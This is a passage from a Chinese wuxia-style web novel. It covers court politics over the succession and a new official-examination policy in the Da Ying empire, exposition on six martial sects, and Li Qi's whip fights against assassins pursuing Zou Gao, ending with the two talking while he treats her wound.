再后面,就忘记了,又邹杲约束教导着他,他也认识到,无论他是什么身份,都不该将女子视作玩物。 他也就再没有起过这种念头。 但这么多年相处下来,他无比确定,无论是他还是邹杲,对男色都没有任何兴趣。 在情爱方面,邹瑅因为长期随父皇征战在外,并未娶妻,也不曾有过侍妾的,但每每听到那些老兵痞说起,他都很向往。 本来,他是想回到鄂阳就去找母后和皇祖母帮他张罗娶妻纳妾之事。 但回来后,他一直在学父皇交给他的各种他不曾做过的事务,别说娶妻纳妾,连和邹杲喝酒的机会都少之又少。 子瞮是一个有大才的人,他曾经也想过将子瞮引荐给父皇,更好发挥子瞮的才能。 但他清楚记得,当时的子瞮言辞恳切地拒绝了,说只愿留在他身边辅佐他。 子瞮本人都这般想,邹瑅也乐得如此,不但和子瞮同吃同住,为了能更快更轻松处理父皇交予他的事务,还时刻将子瞮带在左右。 也因为子瞮的存在,回到鄂阳后,他才没被那些繁重复杂的事务压得缓不过劲来。 他没有和子瞮聊过对龙阳之好的看法,但子瞮对他向来恭敬尊仰,肯定是不会对他抱有暗慕之情的。 见如今又和子瞮一起被编排,邹瑅无语至极,甚至很是生气,但又不得不解释,“父皇,我对男人并没有特别的喜好,与子瞮更是清清白白,我真的只是欣赏他的才能……” 他话没说完,成武帝冷声呵斥,“你的礼仪教养都学到哪里去了?” 邹瑅一愣,听到沙於低声喊他‘殿下’,才反应过来是自称的问题。 他连忙跪下,“儿臣知错。” “知道错了就回去改,大丈夫出门在外可以不拘小节,但在内,你代表的是我大嬴,一言一行,皆需谨言慎行。” 成武帝十分头疼,捏了捏眉心,“国土虽尽数收回,但兴国大业才刚开始,你应该怎么做,返程时朕就与你说过一次了……” 他长叹一口气,悲痛叹惋,“若是玙儿还活着……” 邹玙是邹瑅的同胞兄长,皆为皇后所出,年长邹瑅六岁,是正儿八经的嫡长子。 邹瑅曾经无比敬仰他,尤其喜欢粘着他,让他带着玩。 但是,在邹瑅十一岁那年,年仅十七岁的大皇兄邹玙在带兵围堵梁国时,被左右背叛,中了毒箭。 虽然大皇兄拖着重病的身体攻下了梁国,但却在攻下梁国后的不久,旧疾复发,不治身亡。 也是大皇兄的死讯传来,父皇才决定带兵亲征,并且将执意要上战场为兄长报仇的他也带在身边。 再不久后,他认识和他一般大,但却顽强跟了他们八九日的邹杲。 可以说,邹瑅在这一年失去了最依赖的皇兄,也是在这一年,得到了一个新的兄长。 如今听父皇说起大皇兄,邹瑅心中也悲痛不已。 他懊悔不已,“父皇,儿臣一直记着父皇说与儿臣的每一句话。儿臣愚笨,不该意气用事,不该为一己私欲质疑父皇深思熟虑后的决定。” 成武帝叹气,“你知错便好。” 他疲惫摆摆手,“你手上的事务不少,下去吧。” 说完,又忍不住再次叮嘱,“无怍,朕如今只有你与二皇兄两个儿子,大嬴的天下迟早要交予你二人中的一人。” 父皇鲜少喊他的字,邹瑅身形一僵,意识到自己这次是真的错的离谱。 邹杲离开前和他说过的话还历历在目,邹瑅懊恼极了,他又没有做到。 “儿臣知错,甘愿受罚。”又道,“父皇正值壮年、龙体稳健,怎么处罚儿臣儿臣都没有怨言,还请父皇不要再说这些不吉利的话。” 成武帝揉着眉心,疲倦挥手,“既然你非要求罚,那便去藏典阁抄国训十遍,然后自行离开吧!” “是,儿臣告退。” 邹瑅虽然不满身边亲近之人一个个远离,但他知道,他该成长独立了。 * 目送邹瑅离开,成武帝才缓缓开口,“沙於,你觉得这江山,朕该交给珣儿,还是瑅儿?” “陛下希望老奴怎么说呢?” 沙於还是十分恭敬,但是说出的话却是十分大逆不道,“熟悉二殿下的都知道,二殿下果决狠厉但激进自我,容易被奸人利用;三殿下心性纯良,虽有勇有谋、战功赫赫,但也过于纯善耿直。文臣不比武将,三殿下行军打仗练就的一身本领恐无法让他们臣服。” 沙於说着,越发惋惜,“说来道去,还是大殿下合适…奈何,天妒英才。” 他说着,话锋一转,“不过,陛下身体健朗,还有的是时间培养两位殿下,陛下何必着急。” 成武帝不怒反笑,放下手里的奏折,侧头看向他,“你啊,一惯知道朕想听什么。” 沙於慌忙跪下,“老奴不敢揣测圣心,求陛下恕罪。” “起来。”成武帝笑道,“你啊,越老越放肆。” “朕还记得,朕才五岁,父皇便让你贴身照顾在朕左右,眨眼四十多年过去,你明知朕舍不得杀你,也明知朕是爱听你说些真话,又何必时时刻刻将’恕罪、不敢’挂在嘴边呢。” “老奴不敢。老奴谢陛下不杀之恩。”沙於身体颤颤巍巍、脸上却笑意盈盈。 和成武帝看起来一点不像尊卑有别的主仆。 成武帝也笑了,摆手道:“颍王应该快到了,你代朕去迎接吧。” “是。” 沙於一把年纪了,走路也颤颤巍巍的,但他不服老,虽用了成武帝御赐的金玉拐杖,却不愿离开成武帝、前往成武帝给他安排的宅邸颐养天年。 沙於的身影消失在视线中,成武帝出神盯着大门处,目送沙於离去。 良久,他似乎恍然回神一般,才收回视线,继续看手上的奏折。 他这位皇兄向来准时,他还没处理完手上的奏折,沙於就带着他的五皇兄——颍王邹黍进来了。 “陛下。”邹黍恭敬行礼。 “五哥不必多礼。”成武帝放下奏折,熟捻道,“沙於,命人给五哥看座备茶。” “谢陛下圣恩。” 道谢的话音未落,两个太监抬来座椅,两个太监端来热茶。 端起茶各喝了一口,成武帝才挥手驱散四个太监,“朕此番叫五哥来,是想起五哥还有一子在逍遥门避世修行。虽然逍遥门是道门大家,但终究是不入流的江湖门派。” “如今大嬴正是用人之际,五哥不妨把朕那侄儿招回来,让他在朝堂上历练学习,日后也像五哥曾经辅佐朕一般,辅佐在珣儿、瑅儿左右。” 原本就还没稳坐的邹黍慌忙站了起来,躬身请罚,“陛下恕罪,邹芥生母出身卑贱,孕期又遭遇意外受了惊吓,导致邹芥心智不足…他恐难当大任,还请陛下收回成命啊!” “跪下做什么,先起来。”成武帝无奈说罢,又扭头问沙於,“沙於,有这回事吗?朕为何不记得了。” 沙於一边上前搀扶邹黍,一边连忙答道:“陛下,您日理万机,这都是二十年前的事了,忘了也正常。” 他又道:“颍王妃本是西域舞姬,身体受药物侵蚀严重,颍王妃嫁与颍王多年不曾诞下子嗣,陛下还曾命老奴去寻过补药。” 被搀扶起来的颍王适时感激道:“幸得陛下关爱,王妃才为臣诞下邹芥。” 沙於惋惜又道:“颍王世子只比三殿下小几个月,但三岁了还说不了话,整日病恹恹的。后来,逍遥门吴老道长行经鄂阳,说‘此子命格卑贱福薄,强行入皇家族谱、受皇室恩泽照拂,恐活不过七岁’。” “颍王痴情,颍王妃离世后不愿再娶,唯一的独子还先天不足。何况皇家子嗣,没有流落在外的道理,先帝刚开始非但不同意,还命皇太后为颍王择选新妃。” “好像确有此事,当时父皇似乎还因为五哥不愿再娶发了很大的怒火。” 邹黍连忙回应,“正是如此,多亏陛下当时求情,臣才不用再娶,邹芥也得以去往逍遥门,苟活至今。” “既如此,那便算了吧。”成武帝也不再深究,“五哥,我们是兄弟,私下不必如此拘谨,坐下说吧。” “是。” 邹黍擦着额头上的虚汗,才坐下,成武帝又问:“如今人才稀缺,五哥可有什么好建议?” “臣愚钝。”邹黍坐得僵直,头却低垂着、眼神也飘忽,并不敢直视曾经跟在他身后一口一个五哥的亲弟弟。 成武帝十分无奈,甚至有些烦闷愠怒。 沙於不自觉也紧张起来。 “五哥,朕准备直接罢除沿用多年的人才举荐制度,以考核测试的方式选拔人才,给寒门出身的可用之才更多机会。但江湖势力错综复杂,有才学的也大多出自江湖势力和豪族世家,如他们入仕,他们背后牵扯出来的恐怕又是一大隐患啊。” 颍王应和道:“陛下所言极是。” 成武帝显然对这个回答不满意,指名道姓喊,“五哥,朕在外征战时,一直是你代替朕监国,你说说看,朕还有那些利弊没有考虑清楚。” 邹黍紧张得直冒冷汗,连忙起身道:“臣一直按照陛下的指示监国。此举,陛下考虑周全,臣并未想到更多。” 成武帝却不高兴了,“五哥,你和朕离心了。” 邹黍又是一惊,当即又跪了下来,“臣不敢。” “起来。”成武帝怒了,话音未落,他松开手里的奏折,抬手捂着额头,似乎头疼不已。 邹黍更加不敢起来,沙於连忙小跑着回到成武帝身边,又是递茶,又是帮着按摩的。 好一会儿,成武帝才缓过来。 他垂首看着还跪着的邹黍,不耐烦道:“你下去吧,天天跪来跪去的,朕看着都心烦。” “是,臣告退。”邹黍起身,弯着腰后退着快步离开。 在邹黍退到门口,准备转身时,成武帝突然又高声问沙於:“沙於,你可知朕想要什么样的臣子?” “老奴不知。” 成武帝声音洪亮,厉声道:“朕需要的是直言不讳、一心为国的忠臣,不是一昧阿谀奉承朕的谄臣,更不是因为些许风吹草动就藏拙自保的懦弱之辈。” 已经退到门口的邹黍身体一僵,擦了擦额头的虚汗,但还是装作没听到,快步转身离开了。 第二日,大嬴将通过考核选举人才的国策就陆续从都城传了出去。 一时间,名门望族抱怨颇多,但是还是赞大于怨。 大嬴如今差不多七千万人口,出身贫寒的人极多。 以往,他们只能一辈子碌碌无为,如今却不一样了,只要是大嬴的子民户籍、且拥有自由身,皆可在户籍地参加测试。 至于强调子民户籍,也是因为大嬴首次一统天下后,并未做到真正统一,他国的几大落魄贵族在各地发展多年后形成地方势力。 当时,为了巩固统一,便把经常四处贸易流动的大世家及江湖门派与普通子民的户籍区分出来。 这些世家门派被称为游人,他们可以自由在各地游历、甚至是进行货物往来,但是需要上交更多的赋税。 这一国策,在大嬴分分合合的几百年间,一直沿用。 进行详细的户籍统计,亦是大嬴收复失地后,成武帝率先做的事。 包括家奴在内,全部都得得在衙门备案,普通商人、农民、官员和士兵及其家属都为大嬴子民户籍,可参与人才选拔测试。 奴隶入奴籍,几个一时没法铲除削减的地方大世家与江湖门派则皆入游人籍。 奴籍不用多说,只说这独属于世家与江湖门派的游人籍贯。 和从前大多数贫苦人迫不得已才浪荡江湖不同,百余年前,大嬴皇朝分裂前后至今,便一直有六个几乎和四个分裂出来的国家并存并发展壮大延续至今的江湖门派。 分别是:砚泉寺,逍遥门,蕀篱门,金曲楼,暗秋城,浩然山庄。 先说砚泉寺,大嬴历97年,大一统后逐渐稳定的大嬴分别对东边与南边的茫茫大海、北面的高耸雪山峭壁、西面一望无际的沙漠进行了多次的探索。 在这个过程中,大嬴与西边沙漠另一头的天竺国建立贸易往来,天竺的佛教也由此传入大嬴。 因为第六代皇帝对佛教的信奉,佛教由此发展起来,并在信阳扎根发展。 179年,大嬴一分为四,被迫从鄂阳迁都信阳,当时的丞相对佛教尤其热衷,因着他的影响和助力,越发发展壮大。 如今,成武帝自然不信这些,但师出无名,直接动手铲除恐怕会导致信奉其的百姓暴乱。 不过如今的太后和皇后都信佛,迁都回鄂阳之前,太后主张将历代帝后的灵位送到砚泉寺供养。 颍王亲自去和砚泉寺的主持交谈了一番,确定其端正的态度后,便按太后所言,将灵位送了进去,皇家和砚泉寺的联系也多了起来。 再说逍遥门。 逍遥门是本土道教与其他本土教派的糅合,也在大嬴境内,只不过是在最东边。 逍遥门的教义如其名称,逍遥无拘、超脱于世外是他们最大的追求。 无论是一百多年前的大嬴分裂,还是如今的大嬴再一统,他们都始终保持着中立的态度,只在战乱时尽可能救济百姓。 屈指可数的几次与朝廷对着干,也都是为了救助贫苦百姓。 也因此,他们在百姓心目中有着极高的地位。 逍遥门的规模不算大,如今也就两三百人的规模。 他们不轻易招收弟子,凡事讲究随缘随心,收的也都是颍王独子这种在他们看来命薄福浅的小孩。 蕀篱门是历代机关暗器武器的集大成者,分裂后,位于梁国境内,规模较大,从事着武器制作及其贸易往来。 成武帝很是忌惮他们,班师回朝前,他曾让颍王颁布诏令,本想借着压缩他们的空间逼得他们反抗,以此发兵剿灭他们。 但遭遇过一次打压的蕀篱门这次太识时务,让怎么做就怎么做,好似只要能给他们一个安身立命的居所,让他们做什么都好。 如今,他们研发的新武器都要先送到皇城来登记评估,经过允许,他们才能对外售卖,九成以上的武器也入了大嬴营帐之中,其中一少部分经过允许的武器,才能售卖给其他势力或世家。 虽然如此,这依旧是成武帝的一大心病。 暗秋城位于宁国,是规模最大、效率最高的杀手组织,只要出钱,无论是谁,他们都能除掉,甚至,赵国当年的一位皇帝便死于他们之手。 他们太会藏匿,真要出兵绞杀,恐怕非但不能斩草除根,还容易适得其反。 成武帝暂时也没想到处理他们的最好办法,只能维持暂时的和谐。 浩然山庄位于唐国境内,各种商贸,他们都有涉及,据金曲楼二十年前获得的情报的保守估计,苍然山庄的财富就已经比当时的唐国国库更加丰厚了。 但他们比较安生,暂时也只能维持原状。 金曲楼位于原梁国境内,不用多说,金曲楼表面上主要的业务是寻欢作乐的销金窟,但实际上,它最出名的还是其售卖的情报信息。不过技多不压身,他们偶尔也干点拿人钱财、替人消灾的活。 或许是看破成武帝能收复失地的天机,很早之前,他们就在给成武帝提供信息,所以成武帝暂时也不打算也不能动他们。 关于游人籍的再次严肃施行,也与十年前,梁国覆灭后,蕀篱门的誓死抵抗有关。 在这之前,六大江湖势力出身的人无论在朝堂还是民间,都是不可多得的人才,直到成武帝颁布了那道诏令。 说起这个,还得说起梁国,当初梁国是借助了蕀篱门的势力而建立的,所以,蕀篱门在梁国的地位可见一斑。 但是随着岁月流逝,今非昔比,梁国后代的皇帝越发不尊重蕀篱门,到梁国末代皇帝这里尤盛。 若非梁帝贪图享乐,听信妖妃谗言,多次打压蕀篱门,彻底寒了蕀篱门的心,梁国或许还不会那么快灭亡。 梁帝被围困、走投无路才自焚于梁国皇宫后,蕀篱门依旧奋起反抗,煽动他们所在的城池的百姓誓死反抗大嬴的收管。 并暗自派人游说,让唐国与宁国对大嬴宣战。 此时,成武帝刚刚痛失最看好的大儿子,满腔怒气无处宣发。 他表面接受唐国与宁国的战帖,集全国兵力应战,暗中则派皇后长兄——太尉欧阳谨、右相李卓分别前往唐国和宁国,拿几大江湖势力做文章进行游说。 最终,三国联盟,联合下诏要求江湖势力分别归顺所属朝廷。 蕀篱门自然是最先站出来反对的,但这也只是成武帝谋划中的一环。 在归顺令发出去的同时,他便给大胜梁国后的十万大军下密诏。 当晚,十万大军便兵临蕀篱门城下。 同时,在欧阳谨与李卓的游说下,唐国也派兵围了境内的浩然山庄,宁国则对暗秋城的杀手进行大规模的围剿。 一时间,除了表态愿意接受大嬴部分要求的金曲楼,和本就在大嬴境内的砚泉寺和逍遥门,其他大大小小的门派也都被逐一清点。 在成武帝的运作下,唐国与宁国也差不多采用只围不攻的策略。 就这样差不多僵持了三个月,占了一座城抵抗的蕀篱门断粮了,城中百姓开始暴动。 也是这时,成武帝派二子的外祖父左相韩威与御史大夫沈凌一同前往蕀篱门进行秘密谈判。 成武帝也没异想天开到在这时候一举根除几大江湖势力,他那时候的主要目的是收复失地,再次一统。 先是沈凌冷脸施威,后韩威笑呵呵给出回转余地,最终,达成和解。 之后,大嬴又借蕀篱门之事,与境内的砚泉寺、逍遥门、金曲楼三大势力达成私下协议。 趁着唐国与浩然山庄、宁国与暗秋城还在僵持,成武帝直接发布游人特赦令,即几个江湖势力可以保持原状,但他们皆入游人籍,每个人都必须去户籍地登记身份信息,需遵守大嬴的管理。 除此之外,游人特赦令的内容还包括游人籍拥有全国自由游走、贸易往来的特权,但是同时,他们也得交更多的赋税,并且本人与后代不得入朝为官、不得与官员勾结祸乱朝纲等内容。 为了更有威慑性,成武帝还拿几个小门派杀鸡儆猴。 游人特赦令一出,打得唐国和宁国措手不及。 成武帝却没给他们反应的机会,直接宣战,在两国撤兵后,他立刻派人对浩然山庄与暗秋城进行联系,最终达成两大势力不参与国斗、成武帝事成之后不剿灭他们的协议。 再之后,颍王监国,成武帝亲自带兵出征,先斩断唐、宁两国的同盟,后逐步吞噬,最终收复失地。 大嬴再次成为这片土地唯一的主人。 因着十年前发布的游人特赦令,随着唐、宁两国的覆灭,大嬴成为唯一主宰,这两大江湖势力再能人辈出,想不再一夕之间被覆灭,也只得遵守游人特赦令的约束。 但成武帝深知,他们的归顺是表面的,是不得已之下的妥协。 尤其如今还出现了第七个不容小觑的江湖势力——天下第一阁。 除了安抚被梁、唐、宁三国管理了百余年的百姓,还得压制蠢蠢欲动的几大江湖势力。 所以,成武帝迫切的需要更多人才,这也是他颁布考举制的主要原因。 天下之大,终究是贫苦人更多。 考举制一定会引起名门望族的不满,但为了更好守住辛苦收回的国土,他不得不铤而走险。 考举制对于天下百姓来说无疑是一个巨大的好消息。 诏令一出,举国沸腾,很快便传遍大嬴的每一座城池。 不过,这一大好的消息的速度也不算特别快。 这不,这一好消息还没追上李棋他们,李棋和邹杲先被数十人追上围攻。 ** 这是李棋和邹杲离开鄂阳的第四天。 傍晚,两人一马,行至一处窄小峡谷中间开辟出来的官道上,此处蜿蜒,两面环山,是一处天然的险境。 走到最狭窄之处,还不等他们勒令千赤停下,千赤自己先停了下来,并且躁怒跺着马蹄看着前方。 天色已是黄昏,李棋看向身侧 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看到他们被自己吓了一跳,李棋嬉笑出声安抚,“别这么紧张,我就掏个大宝贝而已。” 她说罢,用内力震动衣摆,在衣摆随风扬起时,右腿一抬,非常帅气地抽出了缠在大腿上的九龙神鞭。 她双脚分立,铁鞭往地上一挥,千赤蹄前紧绷的麻绳猛然断裂,鞭子抽打在地面之上,抽得噼啪作响,地上的碎石破碎崩飞。 不过,千赤却未被惊动分毫,巍然不动,宛若巨石。 这时,风声四起,四面八方,隐匿在峭壁岩峰之间的数十人握着擦得锃亮的刀,飞扑着朝她们劈砍而来。 看这架势,李棋不见任何惊慌,反而非常兴奋,她从前都是和她的师父们单挑,还没试过群殴呢。 李棋跃跃欲试,还不等来人扑倒面前,坐在驾车里的邹杲先心疼道:“你这鞭子太长,去马车顶上打,可千万别误伤了千赤。” 看到前方扑砍而来的三人,李棋没有多说,一挥鞭将其扇飞,转身跃上马车之顶。 看着后方和两侧的锃亮刀锋,李棋旋转挥舞,别说真功夫,都还没使出全力,扑上来的几人就都被她给扇飞了。 别说被扇飞的人,就是李棋自己都没想到。 她还没动用内力呢,这些人怎么这么不经打? 李棋在马车顶中央站稳,她收回长鞭,看向为首之人,实话实说道:“你这些人有点不太行啊,我连一成的力气都没有使出来。” 那人似乎怒了,也不再藏拙,让所有人同时出手。 顷刻间,数十把铮亮的刀刃朝她所在的马车劈砍而来。 左侧前方的人离她最近,不过瞬间,他便逼近,李棋也不甘示弱,朝那人挥去一鞭。 眼看鞭子要扇到他的瞬间,只见他踩着身旁之人的刀刃借力跃起,躲过李棋横扫的鞭子的同时,手中的刀转劈为刺,刀锋直指李棋额心。 李棋一惊,却越发兴奋,她连忙后仰下腰,右手紧握鞭子,将出于惯性要横扫第二圈的鞭子扯回来。 鞭子垂停在黑衣人扑来的方向,在黑衣人的刀剑离李棋的额心不过三尺时,李棋猛地发力,从下方向上扬劈。 黑衣人大惊,进也不是,退更不行,躲闪不及,直接被她的鞭子扇个正着,他吃疼大喊,别说继续攻击了,捂着胯间疼得都快晕厥过去。 李棋顺势将他缠住,起身站直,长鞭勾着他一转一甩,直接带走后方一个准备偷袭她的同伙。 两人先是□□撞,又重重从半空落飞向石壁,猛烈撞在石壁之上,而后滑落到地上的碎石之中,两人落地,直接吐血。 这架势,其余的黑衣人傻眼了,李棋也傻眼了。 李棋收回鞭子,讪讪问:“你们没死吧?” 其中一人又剧烈咳嗽吐血,在李棋和众人的注视下,晕死过去。 “那个什么,你们腾出一个人去看看呗,我明明控制着力道的,他应该还没死,我发誓,我真没想杀人。” 邹杲似乎被李棋的言语逗到,笑出了声。 黑衣人头领气急,下令剩余的人出手后,亲自去查看那人的安危。 剩余的八九人有些怂,但是接到指令,不得不握着刀同时朝她或劈或刺而来。 见空中不行,他们甚至将分了几人从地面进攻,准备从下方击破。 李棋调转手中鞭子的方向,大力朝上空扔出去,同时借力跃了起来,还不等几个黑衣人凑近,她借势在空中旋转,同时舞动手里的长鞭,一分为三的神鞭一连划伤了好几人。 一片哀嚎声中,李棋乘胜追击,抓着窗帘布料,落到马车侧边,还抽空对邹杲吹了个口哨。 然后,坚硬的铁鞭被她耍得好像是活生生的神龙一般,再次合为一体,凶猛且灵活掠夺了好几人的武器,打伤了好几个准备从地面击破他们马车的黑衣人。 而这一切,只发生在瞬息之间。 李棋才抓着窗帘跃到千赤背上,便见地上几人十分顽强地,挣扎着拿着刀又要朝她冲上来,她的斗志也被燃起来了。 见众人实在打不过她的九龙神鞭,她用鞭子勾过一把刀,一边单手将手中的鞭子系在腰上,一边对众人道:“跑快点,我让着你们,不用鞭子了。” 她说罢,站在千赤的背上等他们来。 见李棋将鞭子捆在了腰上,几人将信将疑,步伐快了些,但也还是比不上之前。 然而,很快,他们便见识到了李棋的勇猛。 铁鞭绑在李棋的腰上,随着李棋的动作飞舞,一不小心,就会被铁鞭击中,甚至差点误伤千赤。 还是邹杲眼疾手快,在快打到千赤的背部时,用一片碎瓷片让其轨道偏差,千赤才堪堪躲过李棋的误伤。 邹杲俯身摸着千赤的背脊,同时对李棋喊道:“李兄,注意着点,千赤与我如同兄弟一般,伤了它我会很难过自责的。” 李棋讪讪摸了把鼻尖的冷汗,又摸了摸耳尖,“知道了。” 说罢,她将众人击落,而后将他们往千赤前面赶,让邹杲和千赤远离战场。 之后,便是一场血腥的对战。 呃,严格来说,是李棋单方面的碾压。 说起来,这是李棋第一次和超过两个以上的多人进行你死我活的拼斗。 之前都是她的师父们单独陪练,虽然过程险象环生,但是都是点到为止,也经常是她的师父们以绝对的实力压着她和子瞮打,她们赢的机会少之又少。 这也有好处,例如现在,她和这些人打起来,轻松得不行,还不等她完全热身,这群人就先被她打得爬不起来了。 “……一百五十七,一百五十八。” 邹杲数到一百五十八,李棋便扔下手里沾满血的剑,拍了拍手和身上不存在的灰尘,双手分别甩着绑在腰上的铁鞭,吊儿郎当朝他走来。 铁鞭上沾了不少血水,随着她的甩动四溅,李棋有心捉弄邹杲,但想到他所穿的衣服的华贵程度,最终还是没有这么做。 她将铁鞭上的血水甩干了才靠近邹杲和千赤。 走到马车侧边,李棋笑道:“看来这些人的主子没把你放在眼里啊,他们也太没用了,我怀疑是在家丁里随意找的,有些基本功,但是不多。” 邹杲从袖子里掏出手帕递给她,示意她擦一擦她的鞭子,莞尔笑道:“别急,我得罪的人多了去了,有一就有二,消息传出去,总有愿意花大价钱找高手来取我命的。” 李棋没好气笑了,“你还挺骄傲。” 邹杲笑笑,没犟嘴。 她没有着急接手帕,而是又问:“要抓个人问出背后真凶吗?等会他们就都跑掉了。” 说着,还示意邹杲看前面。 看着或瘸腿爬行、或互相搀扶着逃窜,狼狈不已的数十个黑衣人,邹杲哭笑不得。 “想杀我的人太多了,而如今我手中无权,知道背后真凶也没用。” 李棋一想也是,也懒得浪费时间,直接翻身上了马车,坐稳后,她这才接过帕子。 看着还在路中间吃力爬行的三人,李棋好心提醒,“爬快点,现在的你们别说车轮,就是马蹄也受不住。” 挡住去路的三人大惊,其中就包括头目,这一下,他们也顾不得颜面,一个个手脚并用,爬得飞快。 见道路畅通无阻,邹杲轻轻扯动缰绳,千赤悠哉悠哉拉着马车继续向前。 他们走得潇洒,却留下一地狼藉,和一群奄奄一息哀嚎不止的黑衣人。 他们越走越远,哀嚎声越来越低。 李棋一边擦她的宝贝鞭子,一边难掩兴奋问邹杲,“刚刚你看到了吗,九龙神鞭,我第一次使用,就化一为三了!” 化一为三,李棋只在马车顶上使用了一次,邹杲还真没看清。 但并不妨碍他捧场,“李兄当真是天赋异禀,虽然我也只在书上看过九龙神鞭的相关记载,但恍惚间,我好像见到了蝶恋花前辈一人一鞭傲世群雄的英姿。李兄超越蝶恋花前辈,指日可待!” 说罢,他拱手还做了个甘拜下风的手势。 李棋笑得更开心,“嘿嘿,也没有你说的这么夸张,我离蝶恋花前辈还是有很大的距离的。” “李兄不必谦虚。”邹杲笑着说着,随口又问,“据说自梁国覆灭后,蝶恋花人虽还在金曲楼,但九龙神鞭却再不曾出世。李兄与蝶恋花认识便罢了,居然还能得到她的青睐,让她将成名的名器交予你,李兄当真是了不得,愚兄看着,真是佩服又羡慕啊!” 李棋笑得灿烂的眼睛一凛。 又听邹杲玩笑又道:“该不会,李兄其实是蝶恋花的儿子吧?” 李棋心中冷笑,你最好只是随口一说,不然,金曲楼得见血,你也得出血。 她心中虽然这样想,面上却故作悲伤惋惜道:“我倒是想,可惜,我三次要认她为义母她都不收我。” 又拿起手里擦得差不多的鞭子,炫耀道:“这鞭子也不是她给我的,而是我师父给我的。嘿嘿嘿,你要是真羡慕,就羡慕我有一个好师父吧!” 邹杲淡淡一笑,没有再言语。 “这手帕不要了吧?”李棋问着,直接将满是血迹的手帕扔了出去,手帕随风飞舞,孤零零落在路边的杂草丛中。 邹杲无奈摇了摇头,李棋将鞭子重新往大腿上缠,兴奋又问:“你说,下一拨人什么时候能到?” “晚上吧。”邹杲侧头看向李棋,与她四目相对,勾唇笑得奸邪,“毕竟,月黑风高夜,杀人放火时。” 不知道的,还以为是他要去杀别人呢,李棋一时无语。 但抬头一看,太阳已经完全落下,月亮也迫不及待悬挂在天边,夜幕即将完全笼罩。 她转头看向邹杲,勾唇笑道:“那我们可得快些找到下一个适合露宿的地方,我可不想饿着肚子与人打斗。” “好。”邹杲应着,让千赤跑得更快。 随着车架远去,一阵劲风拂过,满是鲜血的手帕不翼而飞。 * 当晚,李棋才吃到三分饱,果然又来了一批人。 这批人比之前那些厉害一些,她花了差不多两刻钟才解决他们,最气人的是,等解决完,原本烤得焦黄流油的兔子冷了。 这让李棋很不开心,于是,半夜找过来的那一拨人就惨了,虽然没有人直接毙命,但是却被李棋用鞭子抽了个半死,特别是头目,最后是被抬着走的。 李棋这么愤怒不止是撒兔子冷了的气,还因为他们划破了李棋的脸。 好在伤得不重,不会留疤,有个十来天就好了。 7. 无尽卷·第七章 7 又是一个月黑风高夜。 李棋抱着受伤的左臂,跨过地上痛苦呻吟的黑衣人,朝坐在马车上的邹杲走过去,将满是血迹的鞭子往马车上一扔,哀嚎道:“我尊贵的王爷诶,你给我透个底,你到底有多少仇人,一天□□回,回回十多二十个人,且一拨比一拨凶,时间久了,我再厉害也会烦会累的啊!” 邹杲无辜看着她,用最弱小的语气说出最要命的话语,“我也不知道,或许…是不计其数。” “我……” 李棋欲言又止,她很想骂人。 这是他们从鄂阳出发的第十天,也是他们被人追杀的第六天,李棋脸上的伤都还没完全好,胳膊上又添了新伤。 这些来追杀他们的人也算不上多厉害,但架不住多啊,有的还不长眼睛,专门挑他们吃得最香、或者睡得最舒服的时候来。 邹杲全程低眉顺眼、委屈巴巴的,那心虚劲,不知道的还以为这些人是邹杲自己找来的呢。 他乖乖拿过三天前,在城池中休憩时,李棋特意准备的、全是药物的包袱,熟练的替李棋处理伤口。 李棋伤到了左边的小臂,是她被围攻时,躲闪不及,伸手去挡脸时不小心被刀砍伤的,近两寸长,比之前每一次伤得都重。 她本人倒是没有那么痛苦,嘴还在叭叭吐槽:“你这些年到底都干了些什么啊,怎么得罪这么多人……嘶……” 邹杲用匕首割开她紧束的衣袖,药酒沾上去,疼得她龇牙咧嘴。 “呼……嘶,这也太疼了!看来我的师父们对我还是太仁慈了。”她疼得表情都扭曲了,嘴一边吐着气,一边叭叭说个不停。 邹杲垂首往她胳膊上呼着气,怜惜低语:“受苦了。” 李棋一愣,傻愣愣看着他,不等她心中那些本就说不清道不明的情绪发酵,邹杲又恢复了之前那笑吟吟的狐狸精模样。 他抬起头看了李棋一眼,勾唇笑道:“至于我这些年干的事,那就多了去了,你们江湖人士说有人的地方就有江湖,官场也是一样,何况我是皇上身边的人。” 李棋没好气吐槽:“你混得可真差,到处都是敌人。” 邹杲轻笑叹气,“是挺差的,但对于曾经的我来说,除了给皇上卖命,我再没有其他快速获得权势的办法。” 李棋努努嘴,顿了顿,啧啧感慨,“你说,是不是只有做皇帝,才能随心所欲、无忧无虑?” 邹杲一怔,随即却摇头,认真道:“皇帝也不是那么好当的,就我所知,当今的皇上过得就并不舒坦。” 李棋静静看着邹杲。 她看不出邹杲这番话有几分真几分假,相处得越久,她越发看不懂邹杲。 她也不欲深究,只问:“所以,你得罪那些人,全部都是为皇帝杀的?” 邹杲又是一顿,片刻才带着忧伤的笑意摇头,“也不全是。” 他颇为得意笑道:“有些人皇上还在犹豫要怎么处理时,我就先把人斩了。” 这倒是令李棋没想到,但她也没太意外。 “那你还挺厉害,难怪有人喊你罗刹。” 邹杲笑笑,“死在我手下的人都是罪有应得,如此我也算得上是罗刹吗?” “有隐情?”李棋凑近些,凑热闹不嫌事大,“说来听听。” 邹杲失笑,但还是娓娓道来,“比如二皇子邹珣的亲舅舅,也就是当今左相韩威唯一的儿子,他贪藏军饷、导致神武军折损近两千人在先,我才先斩后奏、斩其头颅于阵前祭奠英魂在后。” 说到这,他沉默了片刻。 “不过,我也的确间接导致了他那怀有五个月身孕的夫人的流产与死亡。还有右相李卓的表兄弟、三皇子大舅母的夫家叔弟……” 不等李棋说一句‘这些人都是咎由自取’,就听他惊叹又说,“啊,这样一数,我杀的人好像是有点多,而且还都是有权有势的。” 惊叹完,他又沉默了,好像是在后悔忏悔一般。 李棋拿不准他几分真几分假,所以大力拍了拍邹杲的手臂,“行了,杀都杀了,别想了。” 邹杲勉强笑了笑,还是很悲伤的样子。 李棋直接捏了捏他的手臂,“怎么,真忏悔上了?你不是自认为死在你手下的人都是罪有应得吗,那还有什么好惭愧的。” 邹杲依旧默不作声,只仔细替她包扎伤口。 李棋以为他真懊悔惭愧上了,正准备低头凑近去看他的神情,这时,邹杲把她的伤口包扎好了,还系了一个可爱的蝴蝶结。 邹杲抬起头来,朝她露出一个不太好定义、似邪又似善的笑容。 “笑这么恶心干什么?”李棋嘟哝说罢,催促道:“这伤差不多处理下就行了,我们快走吧,找个地方重新睡觉,鬼知道下一批人什么时候找上门来。” 她骂骂咧咧说着,飞快将邹杲拿出来给她处理伤口的药物都收回去。 邹杲应了声好,也帮着收拾。 